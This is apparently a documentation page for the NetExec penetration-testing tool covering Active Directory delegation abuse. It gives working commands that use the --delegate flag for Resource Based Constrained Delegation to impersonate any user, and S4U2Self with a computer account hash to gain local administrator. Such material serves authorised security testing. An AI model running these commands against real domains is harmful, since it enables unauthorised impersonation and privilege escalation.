🆕 Delegation

RBCD

If you have an object with the msDS-AllowedToActOnBehalfOfOtherIdentity attribute set to an account you control you can use the impersonate flag inside NetExec to automatically execute the Resource Based Constrained Delegation and impersonate any user:

nxc smb <TARGET> -u jon.snow -p iknownothing --delegate Administrator

RBCD with NetExec

S4U2Self

If you have a computer account you can (nearly) always get local administrator with the s4u2self extension:

nxc smb <TARGET> -u 'KINGSLANDING$' -H <HASH> --delegate Administrator --self

S4U2Self abuse using NetExecs delegation feature

Resources: